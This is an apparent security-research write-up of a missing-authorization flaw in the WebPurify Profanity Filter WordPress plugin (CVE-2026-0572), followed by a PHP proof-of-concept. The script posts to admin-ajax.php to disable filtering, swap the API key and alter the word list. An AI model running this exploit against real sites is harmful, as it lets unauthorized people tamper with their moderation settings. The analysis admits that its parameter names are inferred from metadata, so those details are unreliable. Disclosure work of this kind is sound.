Atomic Edge analysis of CVE-2026-0572 (metadata-based):
The WebPurify Profanity Filter plugin for WordPress versions up to and including 4.0.2 contains a missing authorization vulnerability. The flaw resides in the ‘webpurify_save_options’ function, which lacks a capability check. This allows unauthenticated attackers to modify plugin settings. The CVSS score of 6.5 (Medium severity) reflects the network-based attack vector with no authentication required, leading to integrity and availability impacts.
Atomic Edge research identifies the root cause as CWE-862, Missing Authorization. The vulnerability description confirms the absence of a capability check on the ‘webpurify_save_options’ function. Without reviewing the source code diff, we infer this function is likely registered as an AJAX handler or admin POST handler without proper validation. The missing check fails to verify if a requesting user has the ‘manage_options’ capability or equivalent administrative privilege before processing the settings change request.
Exploitation involves sending a crafted HTTP POST request to a WordPress administrative endpoint. The most probable attack vector targets the WordPress AJAX handler at ‘/wp-admin/admin-ajax.php’. The attacker sends a POST request with the ‘action’ parameter set to ‘webpurify_save_options’. The request includes plugin-specific parameters that control the profanity filter’s behavior, such as API keys, filter lists, or operational modes. No authentication or nonce is required.
The patched version 4.0.3 likely remediates this by adding a proper capability check. The fix should verify the current user has the appropriate administrative privilege, typically using `current_user_can(‘manage_options’)` or a similar WordPress capability function. The function should also include a nonce check for CSRF protection, though the primary vulnerability is the missing authorization. The patch would prevent unauthenticated and low-privileged users from accessing the settings update functionality.
Successful exploitation allows attackers to alter the plugin’s configuration. Impact includes disabling the profanity filter, modifying word lists to allow inappropriate content, or injecting malicious settings that affect site functionality. Attackers could disrupt site moderation, degrade content filtering, or cause service degradation. While the vulnerability does not directly lead to code execution or data theft, unauthorized configuration changes can compromise site integrity and user experience.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-0572 - WebPurify Profanity Filter <= 4.0.2 - Missing Authorization to Unauthenticated Plugin Settings Change via webpurify_save_options
<?php
/**
* Proof-of-Concept for CVE-2026-0572
* Assumptions:
* 1. The vulnerable function 'webpurify_save_options' is registered as a WordPress AJAX action.
* 2. The endpoint is the standard WordPress admin AJAX handler.
* 3. The plugin accepts POST parameters to update its settings.
* 4. No authentication or nonce is required.
*/
$target_url = 'http://vulnerable-wordpress-site.com';
// Construct the AJAX endpoint
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
// Define the malicious payload to change plugin settings.
// The exact parameter names are inferred from typical plugin patterns.
$post_data = array(
'action' => 'webpurify_save_options', // The vulnerable AJAX hook
'webpurify_api_key' => 'attacker_controlled_key', // Potential API key parameter
'webpurify_filter_mode' => 'disabled', // Parameter to disable filtering
'webpurify_custom_list' => 'clean_word1,clean_word2' // Modify the filter list
);
// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // For testing environments only
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// Output results
echo "Atomic Edge PoC - CVE-2026-0572n";
echo "Target: " . $ajax_url . "n";
echo "HTTP Status: " . $http_code . "n";
echo "Response: " . $response . "n";
if ($http_code == 200 && strpos($response, 'success') !== false) {
echo "[+] Vulnerability likely exploited. Plugin settings may have been changed.n";
} else {
echo "[-] Exploit may have failed or the endpoint/parameters are incorrect.n";
}
?>
